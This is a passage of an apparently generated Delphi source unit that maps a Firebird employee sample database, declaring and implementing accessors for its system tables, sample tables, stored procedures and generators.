/// <para><b>RDB$FIELD_DIMENSIONS</b> - table</para>
/// </summary>
function RdbFieldDimensions: TRdbFieldDimensionsTable; overload;
/// <summary>
/// <para><b>RDB$RELATION_CONSTRAINTS</b> - table</para>
/// </summary>
function RdbRelationConstraints: TRdbRelationConstraintsTable; overload;
/// <summary>
/// <para><b>RDB$REF_CONSTRAINTS</b> - table</para>
/// </summary>
function RdbRefConstraints: TRdbRefConstraintsTable; overload;
/// <summary>
/// <para><b>RDB$CHECK_CONSTRAINTS</b> - table</para>
/// </summary>
function RdbCheckConstraints: TRdbCheckConstraintsTable; overload;
/// <summary>
/// <para><b>RDB$LOG_FILES</b> - table</para>
/// </summary>
function RdbLogFiles: TRdbLogFilesTable; overload;
/// <summary>
/// <para><b>RDB$PROCEDURES</b> - table</para>
/// </summary>
function RdbProcedures: TRdbProceduresTable; overload;
/// <summary>
/// <para><b>RDB$PROCEDURE_PARAMETERS</b> - table</para>
/// </summary>
function RdbProcedureParameters: TRdbProcedureParametersTable; overload;
/// <summary>
/// <para><b>RDB$CHARACTER_SETS</b> - table</para>
/// </summary>
function RdbCharacterSets: TRdbCharacterSetsTable; overload;
/// <summary>
/// <para><b>RDB$COLLATIONS</b> - table</para>
/// </summary>
function RdbCollations: TRdbCollationsTable; overload;
/// <summary>
/// <para><b>RDB$EXCEPTIONS</b> - table</para>
/// </summary>
function RdbExceptions: TRdbExceptionsTable; overload;
/// <summary>
/// <para><b>RDB$ROLES</b> - table</para>
/// </summary>
function RdbRoles: TRdbRolesTable; overload;
/// <summary>
/// <para><b>RDB$BACKUP_HISTORY</b> - table</para>
/// </summary>
function RdbBackupHistory: TRdbBackupHistoryTable; overload;
/// <summary>
/// <para><b>MON$DATABASE</b> - table</para>
/// </summary>
function MonDatabase: TMonDatabaseTable; overload;
/// <summary>
/// <para><b>MON$ATTACHMENTS</b> - table</para>
/// </summary>
function MonAttachments: TMonAttachmentsTable; overload;
/// <summary>
/// <para><b>MON$TRANSACTIONS</b> - table</para>
/// </summary>
function MonTransactions: TMonTransactionsTable; overload;
/// <summary>
/// <para><b>MON$STATEMENTS</b> - table</para>
/// </summary>
function MonStatements: TMonStatementsTable; overload;
/// <summary>
/// <para><b>MON$CALL_STACK</b> - table</para>
/// </summary>
function MonCallStack: TMonCallStackTable; overload;
/// <summary>
/// <para><b>MON$IO_STATS</b> - table</para>
/// </summary>
function MonIoStats: TMonIoStatsTable; overload;
/// <summary>
/// <para><b>MON$RECORD_STATS</b> - table</para>
/// </summary>
function MonRecordStats: TMonRecordStatsTable; overload;
/// <summary>
/// <para><b>MON$CONTEXT_VARIABLES</b> - table</para>
/// </summary>
function MonContextVariables: TMonContextVariablesTable; overload;
/// <summary>
/// <para><b>MON$MEMORY_USAGE</b> - table</para>
/// </summary>
function MonMemoryUsage: TMonMemoryUsageTable; overload;
/// <summary>
/// <para><b>COUNTRY</b> - table</para>
/// </summary>
function Country: TCountryTable; overload;
/// <summary>
/// <para><b>JOB</b> - table</para>
/// </summary>
function Job: TJobTable; overload;
/// <summary>
/// <para><b>DEPARTMENT</b> - table</para>
/// </summary>
function Department: TDepartmentTable; overload;
/// <summary>
/// <para><b>EMPLOYEE</b> - table</para>
/// </summary>
function Employee: TEmployeeTable; overload;
/// <summary>
/// <para><b>PHONE_LIST</b> - view</para>
/// </summary>
function PhoneList: TPhoneListTable; overload;
/// <summary>
/// <para><b>PROJECT</b> - table</para>
/// </summary>
function Project: TProjectTable; overload;
/// <summary>
/// <para><b>EMPLOYEE_PROJECT</b> - table</para>
/// </summary>
function EmployeeProject: TEmployeeProjectTable; overload;
/// <summary>
/// <para><b>PROJ_DEPT_BUDGET</b> - table</para>
/// </summary>
function ProjDeptBudget: TProjDeptBudgetTable; overload;
/// <summary>
/// <para><b>SALARY_HISTORY</b> - table</para>
/// </summary>
function SalaryHistory: TSalaryHistoryTable; overload;
/// <summary>
/// <para><b>CUSTOMER</b> - table</para>
/// </summary>
function Customer: TCustomerTable; overload;
/// <summary>
/// <para><b>SALES</b> - table</para>
/// </summary>
function Sales: TSalesTable; overload;
/// <summary>
/// <para>Stored procedure: <b>GET_EMP_PROJ</b>. Type: <b>Selectable</b></para>
/// <list type="table">
/// <listheader><term>Input params</term><description>Data type</description></listheader>
/// <item>
/// <term>
/// <para>1. <b>EMP_NO</b></para>
/// </term>
/// <description>
/// <para><b>SMALLINT</b></para>
/// </description>
/// </item>
/// </list>
/// <para>=====================================================================</para>
/// <list type="table">
/// <listheader><term>Output params</term><description>Data type</description></listheader>
/// <item>
/// <term>
/// <para>1. <b>PROJ_ID</b></para>
/// </term>
/// <description>
/// <para><b>CHAR(5) CHARACTER SET NONE</b></para>
/// </description>
/// </item>
/// </list>
/// </summary>
function GetEmpProj(AEmpNo: TSqlSmallInt): TGetEmpProjSelectableStoredProcedure; overload;
/// <summary>
/// <para>Stored procedure: <b>ADD_EMP_PROJ</b>. Type: <b>Selectable</b></para>
/// <list type="table">
/// <listheader><term>Input params</term><description>Data type</description></listheader>
/// <item>
/// <term>
/// <para>1. <b>EMP_NO</b></para>
/// </term>
/// <description>
/// <para><b>SMALLINT</b></para>
/// </description>
/// </item>
/// <item>
/// <term>
/// <para>2. <b>PROJ_ID</b></para>
/// </term>
/// <description>
/// <para><b>CHAR(5) CHARACTER SET NONE</b></para>
/// </description>
/// </item>
/// </list>
/// </summary>
function AddEmpProj(AEmpNo: TSqlSmallInt; AProjId: TSqlString): TAddEmpProjSelectableStoredProcedure; overload;
/// <summary>
/// <para>Stored procedure: <b>SUB_TOT_BUDGET</b>. Type: <b>Selectable</b></para>
/// <list type="table">
/// <listheader><term>Input params</term><description>Data type</description></listheader>
/// <item>
/// <term>
/// <para>1. <b>HEAD_DEPT</b></para>
/// </term>
/// <description>
/// <para><b>CHAR(3) CHARACTER SET NONE</b></para>
/// </description>
/// </item>
/// </list>
/// <para>=====================================================================</para>
/// <list type="table">
/// <listheader><term>Output params</term><description>Data type</description></listheader>
/// <item>
/// <term>
/// <para>1. <b>TOT_BUDGET</b></para>
/// </term>
/// <description>
/// <para><b>DECIMAL(12, 2)</b></para>
/// </description>
/// </item>
/// <item>
/// <term>
/// <para>2. <b>AVG_BUDGET</b></para>
/// </term>
/// <description>
/// <para><b>DECIMAL(12, 2)</b></para>
/// </description>
/// </item>
/// <item>
/// <term>
/// <para>3. <b>MIN_BUDGET</b></para>
/// </term>
/// <description>
/// <para><b>DECIMAL(12, 2)</b></para>
/// </description>
/// </item>
/// <item>
/// <term>
/// <para>4. <b>MAX_BUDGET</b></para>
/// </term>
/// <description>
/// <para><b>DECIMAL(12, 2)</b></para>
/// </description>
/// </item>
/// </list>
/// </summary>
function SubTotBudget(AHeadDept: TSqlString): TSubTotBudgetSelectableStoredProcedure; overload;
/// <summary>
/// <para>Stored procedure: <b>DELETE_EMPLOYEE</b>. Type: <b>Selectable</b></para>
/// <list type="table">
/// <listheader><term>Input params</term><description>Data type</description></listheader>
/// <item>
/// <term>
/// <para>1. <b>EMP_NUM</b></para>
/// </term>
/// <description>
/// <para><b>INTEGER</b></para>
/// </description>
/// </item>
/// </list>
/// </summary>
function DeleteEmployee(AEmpNum: TSqlInteger): TDeleteEmployeeSelectableStoredProcedure; overload;
/// <summary>
/// <para>Stored procedure: <b>DEPT_BUDGET</b>. Type: <b>Selectable</b></para>
/// <list type="table">
/// <listheader><term>Input params</term><description>Data type</description></listheader>
/// <item>
/// <term>
/// <para>1. <b>DNO</b></para>
/// </term>
/// <description>
/// <para><b>CHAR(3) CHARACTER SET NONE</b></para>
/// </description>
/// </item>
/// </list>
/// <para>=====================================================================</para>
/// <list type="table">
/// <listheader><term>Output params</term><description>Data type</description></listheader>
/// <item>
/// <term>
/// <para>1. <b>TOT</b></para>
/// </term>
/// <description>
/// <para><b>DECIMAL(12, 2)</b></para>
/// </description>
/// </item>
/// </list>
/// </summary>
function DeptBudget(ADno: TSqlString): TDeptBudgetSelectableStoredProcedure; overload;
/// <summary>
/// <para>Stored procedure: <b>ORG_CHART</b>. Type: <b>Selectable</b></para>
/// <list type="table">
/// <listheader><term>Output params</term><description>Data type</description></listheader>
/// <item>
/// <term>
/// <para>1. <b>HEAD_DEPT</b></para>
/// </term>
/// <description>
/// <para><b>CHAR(25) CHARACTER SET NONE</b></para>
/// </description>
/// </item>
/// <item>
/// <term>
/// <para>2. <b>DEPARTMENT</b></para>
/// </term>
/// <description>
/// <para><b>CHAR(25) CHARACTER SET NONE</b></para>
/// </description>
/// </item>
/// <item>
/// <term>
/// <para>3. <b>MNGR_NAME</b></para>
/// </term>
/// <description>
/// <para><b>CHAR(20) CHARACTER SET NONE</b></para>
/// </description>
/// </item>
/// <item>
/// <term>
/// <para>4. <b>TITLE</b></para>
/// </term>
/// <description>
/// <para><b>CHAR(5) CHARACTER SET NONE</b></para>
/// </description>
/// </item>
/// <item>
/// <term>
/// <para>5. <b>EMP_CNT</b></para>
/// </term>
/// <description>
/// <para><b>INTEGER</b></para>
/// </description>
/// </item>
/// </list>
/// </summary>
function OrgChart(): TOrgChartSelectableStoredProcedure; overload;
/// <summary>
/// <para>Stored procedure: <b>MAIL_LABEL</b>. Type: <b>Selectable</b></para>
/// <list type="table">
/// <listheader><term>Input params</term><description>Data type</description></listheader>
/// <item>
/// <term>
/// <para>1. <b>CUST_NO</b></para>
/// </term>
/// <description>
/// <para><b>INTEGER</b></para>
/// </description>
/// </item>
/// </list>
/// <para>=====================================================================</para>
/// <list type="table">
/// <listheader><term>Output params</term><description>Data type</description></listheader>
/// <item>
/// <term>
/// <para>1. <b>LINE1</b></para>
/// </term>
/// <description>
/// <para><b>CHAR(40) CHARACTER SET NONE</b></para>
/// </description>
/// </item>
/// <item>
/// <term>
/// <para>2. <b>LINE2</b></para>
/// </term>
/// <description>
/// <para><b>CHAR(40) CHARACTER SET NONE</b></para>
/// </description>
/// </item>
/// <item>
/// <term>
/// <para>3. <b>LINE3</b></para>
/// </term>
/// <description>
/// <para><b>CHAR(40) CHARACTER SET NONE</b></para>
/// </description>
/// </item>
/// <item>
/// <term>
/// <para>4. <b>LINE4</b></para>
/// </term>
/// <description>
/// <para><b>CHAR(40) CHARACTER SET NONE</b></para>
/// </description>
/// </item>
/// <item>
/// <term>
/// <para>5. <b>LINE5</b></para>
/// </term>
/// <description>
/// <para><b>CHAR(40) CHARACTER SET NONE</b></para>
/// </description>
/// </item>
/// <item>
/// <term>
/// <para>6. <b>LINE6</b></para>
/// </term>
/// <description>
/// <para><b>CHAR(40) CHARACTER SET NONE</b></para>
/// </description>
/// </item>
/// </list>
/// </summary>
function MailLabel(ACustNo: TSqlInteger): TMailLabelSelectableStoredProcedure; overload;
/// <summary>
/// <para>Stored procedure: <b>SHIP_ORDER</b>. Type: <b>Selectable</b></para>
/// <list type="table">
/// <listheader><term>Input params</term><description>Data type</description></listheader>
/// <item>
/// <term>
/// <para>1. <b>PO_NUM</b></para>
/// </term>
/// <description>
/// <para><b>CHAR(8) CHARACTER SET NONE</b></para>
/// </description>
/// </item>
/// </list>
/// </summary>
function ShipOrder(APoNum: TSqlString): TShipOrderSelectableStoredProcedure; overload;
/// <summary>
/// <para>Stored procedure: <b>SHOW_LANGS</b>. Type: <b>Selectable</b></para>
/// <list type="table">
/// <listheader><term>Input params</term><description>Data type</description></listheader>
/// <item>
/// <term>
/// <para>1. <b>CODE</b></para>
/// </term>
/// <description>
/// <para><b>VARCHAR(5) CHARACTER SET NONE</b></para>
/// </description>
/// </item>
/// <item>
/// <term>
/// <para>2. <b>GRADE</b></para>
/// </term>
/// <description>
/// <para><b>SMALLINT</b></para>
/// </description>
/// </item>
/// <item>
/// <term>
/// <para>3. <b>CTY</b></para>
/// </term>
/// <description>
/// <para><b>VARCHAR(15) CHARACTER SET NONE</b></para>
/// </description>
/// </item>
/// </list>
/// <para>=====================================================================</para>
/// <list type="table">
/// <listheader><term>Output params</term><description>Data type</description></listheader>
/// <item>
/// <term>
/// <para>1. <b>LANGUAGES</b></para>
/// </term>
/// <description>
/// <para><b>VARCHAR(15) CHARACTER SET NONE</b></para>
/// </description>
/// </item>
/// </list>
/// </summary>
function ShowLangs(ACode: TSqlString; AGrade: TSqlSmallInt; ACty: TSqlString): TShowLangsSelectableStoredProcedure; overload;
/// <summary>
/// <para>Stored procedure: <b>ALL_LANGS</b>. Type: <b>Selectable</b></para>
/// <list type="table">
/// <listheader><term>Output params</term><description>Data type</description></listheader>
/// <item>
/// <term>
/// <para>1. <b>CODE</b></para>
/// </term>
/// <description>
/// <para><b>VARCHAR(5) CHARACTER SET NONE</b></para>
/// </description>
/// </item>
/// <item>
/// <term>
/// <para>2. <b>GRADE</b></para>
/// </term>
/// <description>
/// <para><b>VARCHAR(5) CHARACTER SET NONE</b></para>
/// </description>
/// </item>
/// <item>
/// <term>
/// <para>3. <b>COUNTRY</b></para>
/// </term>
/// <description>
/// <para><b>VARCHAR(15) CHARACTER SET NONE</b></para>
/// </description>
/// </item>
/// <item>
/// <term>
/// <para>4. <b>LANG</b></para>
/// </term>
/// <description>
/// <para><b>VARCHAR(15) CHARACTER SET NONE</b></para>
/// </description>
/// </item>
/// </list>
/// </summary>
function AllLangs(): TAllLangsSelectableStoredProcedure; overload;
/// <summary>
/// <para>Generator: <b>RDB$SECURITY_CLASS</b></para>
/// </summary>
function GRdbSecurityClass: TSqlGenerator; overload;
/// <summary>
/// <para>Generator: <b>SQL$DEFAULT</b></para>
/// </summary>
function GSqlDefault: TSqlGenerator; overload;
/// <summary>
/// <para>Generator: <b>RDB$PROCEDURES</b></para>
/// <para> Description: Procedure ID</para>
/// </summary>
function GRdbProcedures: TSqlGenerator; overload;
/// <summary>
/// <para>Generator: <b>RDB$EXCEPTIONS</b></para>
/// <para> Description: Exception ID</para>
/// </summary>
function GRdbExceptions: TSqlGenerator; overload;
/// <summary>
/// <para>Generator: <b>RDB$CONSTRAINT_NAME</b></para>
/// <para> Description: Implicit constraint name</para>
/// </summary>
function GRdbConstraintName: TSqlGenerator; overload;
/// <summary>
/// <para>Generator: <b>RDB$FIELD_NAME</b></para>
/// <para> Description: Implicit domain name</para>
/// </summary>
function GRdbFieldName: TSqlGenerator; overload;
/// <summary>
/// <para>Generator: <b>RDB$INDEX_NAME</b></para>
/// <para> Description: Implicit index name</para>
/// </summary>
function GRdbIndexName: TSqlGenerator; overload;
/// <summary>
/// <para>Generator: <b>RDB$TRIGGER_NAME</b></para>
/// <para> Description: Implicit trigger name</para>
/// </summary>
function GRdbTriggerName: TSqlGenerator; overload;
/// <summary>
/// <para>Generator: <b>RDB$BACKUP_HISTORY</b></para>
/// <para> Description: Nbackup technology</para>
/// </summary>
function GRdbBackupHistory: TSqlGenerator; overload;
/// <summary>
/// <para>Generator: <b>EMP_NO_GEN</b></para>
/// </summary>
function GEmpNoGen: TSqlGenerator; overload;
/// <summary>
/// <para>Generator: <b>CUST_NO_GEN</b></para>
/// </summary>
function GCustNoGen: TSqlGenerator; overload;
end;
function EmpDb: TEmpDb;
implementation
function EmpDb: TEmpDb;
begin
Result := TEmpDb.Create(0);
end;
{ TEmpDb }
constructor TEmpDb.Create(AParam: Integer);
begin
Finalize(Self);
FillChar(Self, SizeOf(Self), 0);
_FDbModelsStorage := TDbModelsStorage.Create;
end;
procedure TEmpDb.CreateTableInstance(var FTableVariable: TTable; TableClass: TTableClass; out Table: TTable);
begin
if not Assigned(FTableVariable) then
FTableVariable := _FDbModelsStorage.GetUnique(TableClass);
Table := FTableVariable;
end;
function TEmpDb.RdbPages: TRdbPagesTable;
begin
CreateTableInstance(TTable(FRdbPages), TRdbPagesTable, TTable(Result));
end;
function TEmpDb.RdbDatabase: TRdbDatabaseTable;
begin
CreateTableInstance(TTable(FRdbDatabase), TRdbDatabaseTable, TTable(Result));
end;
function TEmpDb.RdbFields: TRdbFieldsTable;
begin
CreateTableInstance(TTable(FRdbFields), TRdbFieldsTable, TTable(Result));
end;
function TEmpDb.RdbIndexSegments: TRdbIndexSegmentsTable;
begin
CreateTableInstance(TTable(FRdbIndexSegments), TRdbIndexSegmentsTable, TTable(Result));
end;
function TEmpDb.RdbIndices: TRdbIndicesTable;
begin
CreateTableInstance(TTable(FRdbIndices), TRdbIndicesTable, TTable(Result));
end;
function TEmpDb.RdbRelationFields: TRdbRelationFieldsTable;
begin
CreateTableInstance(TTable(FRdbRelationFields), TRdbRelationFieldsTable, TTable(Result));
end;
function TEmpDb.RdbRelations: TRdbRelationsTable;
begin
CreateTableInstance(TTable(FRdbRelations), TRdbRelationsTable, TTable(Result));
end;
function TEmpDb.RdbViewRelations: TRdbViewRelationsTable;
begin
CreateTableInstance(TTable(FRdbViewRelations), TRdbViewRelationsTable, TTable(Result));
end;
function TEmpDb.RdbFormats: TRdbFormatsTable;
begin
CreateTableInstance(TTable(FRdbFormats), TRdbFormatsTable, TTable(Result));
end;
function TEmpDb.RdbSecurityClasses: TRdbSecurityClassesTable;
begin
CreateTableInstance(TTable(FRdbSecurityClasses), TRdbSecurityClassesTable, TTable(Result));
end;
function TEmpDb.RdbFiles: TRdbFilesTable;
begin
CreateTableInstance(TTable(FRdbFiles), TRdbFilesTable, TTable(Result));
end;
function TEmpDb.RdbTypes: TRdbTypesTable;
begin
CreateTableInstance(TTable(FRdbTypes), TRdbTypesTable, TTable(Result));
end;
function TEmpDb.RdbTriggers: TRdbTriggersTable;
begin
CreateTableInstance(TTable(FRdbTriggers), TRdbTriggersTable, TTable(Result));
end;
function TEmpDb.RdbDependencies: TRdbDependenciesTable;
begin
CreateTableInstance(TTable(FRdbDependencies), TRdbDependenciesTable, TTable(Result));
end;
function TEmpDb.RdbFunctions: TRdbFunctionsTable;
begin
CreateTableInstance(TTable(FRdbFunctions), TRdbFunctionsTable, TTable(Result));
end;
function TEmpDb.RdbFunctionArguments: TRdbFunctionArgumentsTable;
begin
CreateTableInstance(TTable(FRdbFunctionArguments), TRdbFunctionArgumentsTable, TTable(Result));
end;
function TEmpDb.RdbFilters: TRdbFiltersTable;
begin
CreateTableInstance(TTable(FRdbFilters), TRdbFiltersTable, TTable(Result));
end;
function TEmpDb.RdbTriggerMessages: TRdbTriggerMessagesTable;
begin
CreateTableInstance(TTable(FRdbTriggerMessages), TRdbTriggerMessagesTable, TTable(Result));
end;
function TEmpDb.RdbUserPrivileges: TRdbUserPrivilegesTable;
begin
CreateTableInstance(TTable(FRdbUserPrivileges), TRdbUserPrivilegesTable, TTable(Result));
end;
function TEmpDb.RdbTransactions: TRdbTransactionsTable;
begin
CreateTableInstance(TTable(FRdbTransactions), TRdbTransactionsTable, TTable(Result));
end;
function TEmpDb.RdbGenerators: TRdbGeneratorsTable;
begin
CreateTableInstance(TTable(FRdbGenerators), TRdbGeneratorsTable, TTable(Result));
end;
function TEmpDb.RdbFieldDimensions: TRdbFieldDimensionsTable;
begin
CreateTableInstance(TTable(FRdbFieldDimensions), TRdbFieldDimensionsTable, TTable(Result));
end;
function TEmpDb.RdbRelationConstraints: TRdbRelationConstraintsTable;
begin
CreateTableInstance(TTable(FRdbRelationConstraints), TRdbRelationConstraintsTable, TTable(Result));
end;
function TEmpDb.RdbRefConstraints: TRdbRefConstraintsTable;
begin
CreateTableInstance(TTable(FRdbRefConstraints), TRdbRefConstraintsTable, TTable(Result));
end;
function TEmpDb.RdbCheckConstraints: TRdbCheckConstraintsTable;
begin
CreateTableInstance(TTable(FRdbCheckConstraints), TRdbCheckConstraintsTable, TTable(Result));
end;
function TEmpDb.RdbLogFiles: TRdbLogFilesTable;
begin
CreateTableInstance(TTable(FRdbLogFiles), TRdbLogFilesTable, TTable(Result));
end;
function TEmpDb.RdbProcedures: TRdbProceduresTable;
begin
CreateTableInstance(TTable(FRdbProcedures), TRdbProceduresTable, TTable(Result));
end;
function TEmpDb.RdbProcedureParameters: TRdbProcedureParametersTable;
begin
CreateTableInstance(TTable(FRdbProcedureParameters), TRdbProcedureParametersTable, TTable(Result));
end;
function TEmpDb.RdbCharacterSets: TRdbCharacterSetsTable;
begin
CreateTableInstance(TTable(FRdbCharacterSets), TRdbCharacterSetsTable, TTable(Result));
end;
function TEmpDb.RdbCollations: TRdbCollationsTable;
begin
CreateTableInstance(TTable(FRdbCollations), TRdbCollationsTable, TTable(Result));
end;
function TEmpDb.RdbExceptions: TRdbExceptionsTable;
begin
CreateTableInstance(TTable(FRdbExceptions), TRdbExceptionsTable, TTable(Result));
end;
function TEmpDb.RdbRoles: TRdbRolesTable;
begin
CreateTableInstance(TTable(FRdbRoles), TRdbRolesTable, TTable(Result));
end;
function TEmpDb.RdbBackupHistory: TRdbBackupHistoryTable;
begin
CreateTableInstance(TTable(FRdbBackupHistory), TRdbBackupHistoryTable, TTable(Result));
end;
function TEmpDb.MonDatabase: TMonDatabaseTable;
begin
CreateTableInstance(TTable(FMonDatabase), TMonDatabaseTable, TTable(Result));
end;
function TEmpDb.MonAttachments: TMonAttachmentsTable;
begin
CreateTableInstance(TTable(FMonAttachments), TMonAttachmentsTable, TTable(Result));
end;
function TEmpDb.MonTransactions: TMonTransactionsTable;
begin
CreateTableInstance(TTable(FMonTransactions), TMonTransactionsTable, TTable(Result));
end;
function TEmpDb.MonStatements: TMonStatementsTable;
begin
CreateTableInstance(TTable(FMonStatements), TMonStatementsTable, TTable(Result));
end;
function TEmpDb.MonCallStack: TMonCallStackTable;
begin
CreateTableInstance(TTable(FMonCallStack), TMonCallStackTable, TTable(Result));
end;
function TEmpDb.MonIoStats: TMonIoStatsTable;
begin
CreateTableInstance(TTable(FMonIoStats), TMonIoStatsTable, TTable(Result));
end;
function TEmpDb.MonRecordStats: TMonRecordStatsTable;
begin
CreateTableInstance(TTable(FMonRecordStats), TMonRecordStatsTable, TTable(Result));
end;
function TEmpDb.MonContextVariables: TMonContextVariablesTable;
begin
CreateTableInstance(TTable(FMonContextVariables), TMonContextVariablesTable, TTable(Result));
end;
function TEmpDb.MonMemoryUsage: TMonMemoryUsageTable;
begin
CreateTableInstance(TTable(FMonMemoryUsage), TMonMemoryUsageTable, TTable(Result));
end;
function TEmpDb.Country: TCountryTable;
begin
CreateTableInstance(TTable(FCountry), TCountryTable, TTable(Result));
end;
function TEmpDb.Job: TJobTable;
begin
CreateTableInstance(TTable(FJob), TJobTable, TTable(Result));
end;
function TEmpDb.Department: TDepartmentTable;
begin
CreateTableInstance(TTable(FDepartment), TDepartmentTable, TTable(Result));
end;
function TEmpDb.Employee: TEmployeeTable;
begin
CreateTableInstance(TTable(FEmployee), TEmployeeTable, TTable(Result));
end;
function TEmpDb.PhoneList: TPhoneListTable;
begin
CreateTableInstance(TTable(FPhoneList), TPhoneListTable, TTable(Result));
end;
function TEmpDb.Project: TProjectTable;
begin
CreateTableInstance(TTable(FProject), TProjectTable, TTable(Result));
end;
function TEmpDb.EmployeeProject: TEmployeeProjectTable;
begin
CreateTableInstance(TTable(FEmployeeProject), TEmployeeProjectTable, TTable(Result));
end;
function TEmpDb.ProjDeptBudget: TProjDeptBudgetTable;
begin
CreateTableInstance(TTable(FProjDeptBudget), TProjDeptBudgetTable, TTable(Result));
end;
function TEmpDb.SalaryHistory: TSalaryHistoryTable;
begin
CreateTableInstance(TTable(FSalaryHistory), TSalaryHistoryTable, TTable(Result));
end;
function TEmpDb.Customer: TCustomerTable;
begin
CreateTableInstance(TTable(FCustomer), TCustomerTable, TTable(Result));
end;
function TEmpDb.Sales: TSalesTable;
begin
CreateTableInstance(TTable(FSales), TSalesTable, TTable(Result));
end;
function TEmpDb.GetEmpProj(AEmpNo: TSqlSmallInt): TGetEmpProjSelectableStoredProcedure;
begin
Result := TGetEmpProjSelectableStoredProcedure.Create(AEmpNo);
_FDbModelsStorage.Own(Result);
end;
function TEmpDb.AddEmpProj(AEmpNo: TSqlSmallInt; AProjId: TSqlString): TAddEmpProjSelectableStoredProcedure;
begin
Result := TAddEmpProjSelectableStoredProcedure.Create(AEmpNo, AProjId);
_FDbModelsStorage.Own(Result);
end;
function TEmpDb.SubTotBudget(AHeadDept: TSqlString): TSubTotBudgetSelectableStoredProcedure;
begin
Result := TSubTotBudgetSelectableStoredProcedure.Create(AHeadDept);
_FDbModelsStorage.Own(Result);
end;
function TEmpDb.DeleteEmployee(AEmpNum: TSqlInteger): TDeleteEmployeeSelectableStoredProcedure;
begin
Result := TDeleteEmployeeSelectableStoredProcedure.Create(AEmpNum);
_FDbModelsStorage.Own(Result);
end;
function TEmpDb.DeptBudget(ADno: TSqlString): TDeptBudgetSelectableStoredProcedure;
begin
Result := TDeptBudgetSelectableStoredProcedure.Create(ADno);
_FDbModelsStorage.Own(Result);
end;
function TEmpDb.OrgChart(): TOrgChartSelectableStoredProcedure;
begin
Result := TOrgChartSelectableStoredProcedure.Create();
_FDbModelsStorage.Own(Result);
end;
function TEmpDb.MailLabel(ACustNo: TSqlInteger): TMailLabelSelectableStoredProcedure;
begin
Result := TMailLabelSelectableStoredProcedure.Create(ACustNo);
_FDbModelsStorage.Own(Result);
end;
function TEmpDb.ShipOrder(APoNum: TSqlString): TShipOrderSelectableStoredProcedure;
begin
Result := TShipOrderSelectableStoredProcedure.Create(APoNum);
_FDbModelsStorage.Own(Result);
end;
function TEmpDb.ShowLangs(ACode: TSqlString; AGrade: TSqlSmallInt; ACty: TSqlString): TShowLangsSelectableStoredProcedure;
begin
Result := TShowLangsSelectableStoredProcedure.Create(ACode, AGrade, ACty);
_FDbModelsStorage.Own(Result);
end;
function TEmpDb.AllLangs(): TAllLangsSelectableStoredProcedure;
begin
Result := TAllLangsSelectableStoredProcedure.Create();
_FDbModelsStorage.Own(Result);
end;
function TEmpDb.GRdbSecurityClass: TSqlGenerator;
begin
Result := TSqlGenerator.Create('RDB$SECURITY_CLASS');
end;
function TEmpDb.GSqlDefault: TSqlGenerator;
begin
Result := TSqlGenerator.Create('SQL$DEFAULT');
end;
function TEmpDb.GRdbProcedures: TSqlGenerator;
begin
Result := TSqlGenerator.Create('RDB$PROCEDURES');
end;
function TEmpDb.GRdbExceptions: TSqlGenerator;
begin
Result := TSqlGenerator.Create('RDB$EXCEPTIONS');
end;
function TEmpDb.GRdbConstraintName: TSqlGenerator;
begin
Result := TSqlGenerator.Create('RDB$CONSTRAINT_NAME');
end;
function TEmpDb.GRdbFieldName: TSqlGenerator;
begin
Result := TSqlGenerator.Create('RDB$FIELD_NAME');
end;
function TEmpDb.GRdbIndexName: TSqlGenerator;
begin
Result := TSqlGenerator.Create('RDB$INDEX_NAME');
end;
function TEmpDb.GRdbTriggerName: TSqlGenerator;
begin
Result := TSqlGenerator.Create('RDB$TRIGGER_NAME');
end;
function TEmpDb.GRdbBackupHistory: TSqlGenerator;
begin
Result := TSqlGenerator.Create('RDB$BACKUP_HISTORY');
end;
function TEmpDb.GEmpNoGen: TSqlGenerator;
begin
Result := TSqlGenerator.Create('EMP_NO_GEN');
end;
function TEmpDb.GCustNoGen: TSqlGenerator;
begin
Result := TSqlGenerator.Create('CUST_NO_GEN');
end;
{ TRdbPagesTable }
constructor TRdbPagesTable.Create;
begin
inherited;
inherited TableName := 'RDB$PAGES';
RegisterField(FPageNumber, 'RDB$PAGE_NUMBER');
RegisterField(FRelationId, 'RDB$RELATION_ID');
RegisterField(FPageSequence, 'RDB$PAGE_SEQUENCE');
RegisterField(FPageType, 'RDB$PAGE_TYPE');
end;
function TRdbPagesTable.GetUnique: TRdbPagesTable;
begin
Result := inherited InternalGetUnique as TRdbPagesTable;
end;
{ TRdbDatabaseTable }
constructor TRdbDatabaseTable.Create;
begin
inherited;
inherited TableName := 'RDB$DATABASE';
RegisterField(FDescription, 'RDB$DESCRIPTION');
RegisterField(FRelationId, 'RDB$RELATION_ID');
RegisterField(FSecurityClass, 'RDB$SECURITY_CLASS');
RegisterField(FCharacterSetName, 'RDB$CHARACTER_SET_NAME');
end;
function TRdbDatabaseTable.GetUnique: TRdbDatabaseTable;
begin
Result := inherited InternalGetUnique as TRdbDatabaseTable;
end;
{ TRdbFieldsTable }
constructor TRdbFieldsTable.Create;
begin
inherited;
inherited TableName := 'RDB$FIELDS';
RegisterField(FFieldName, 'RDB$FIELD_NAME');
RegisterField(FQueryName, 'RDB$QUERY_NAME');
RegisterField(FValidationBlr, 'RDB$VALIDATION_BLR');
RegisterField(FValidationSource, 'RDB$VALIDATION_SOURCE');
RegisterField(FComputedBlr, 'RDB$COMPUTED_BLR');
RegisterField(FComputedSource, 'RDB$COMPUTED_SOURCE');
RegisterField(FDefaultValue, 'RDB$DEFAULT_VALUE');
RegisterField(FDefaultSource, 'RDB$DEFAULT_SOURCE');
RegisterField(FFieldLength, 'RDB$FIELD_LENGTH');
RegisterField(FFieldScale, 'RDB$FIELD_SCALE');
RegisterField(FFieldType, 'RDB$FIELD_TYPE');
RegisterField(FFieldSubType, 'RDB$FIELD_SUB_TYPE');
RegisterField(FMissingValue, 'RDB$MISSING_VALUE');
RegisterField(FMissingSource, 'RDB$MISSING_SOURCE');
RegisterField(FDescription, 'RDB$DESCRIPTION');
RegisterField(FSystemFlag, 'RDB$SYSTEM_FLAG');
RegisterField(FQueryHeader, 'RDB$QUERY_HEADER');
RegisterField(FSegmentLength, 'RDB$SEGMENT_LENGTH');
RegisterField(FEditString, 'RDB$EDIT_STRING');
RegisterField(FExternalLength, 'RDB$EXTERNAL_LENGTH');
RegisterField(FExternalScale, 'RDB$EXTERNAL_SCALE');
RegisterField(FExternalType, 'RDB$EXTERNAL_TYPE');
RegisterField(FDimensions, 'RDB$DIMENSIONS');
RegisterField(FNullFlag, 'RDB$NULL_FLAG');
RegisterField(FCharacterLength, 'RDB$CHARACTER_LENGTH');
RegisterField(FCollationId, 'RDB$COLLATION_ID');
RegisterField(FCharacterSetId, 'RDB$CHARACTER_SET_ID');
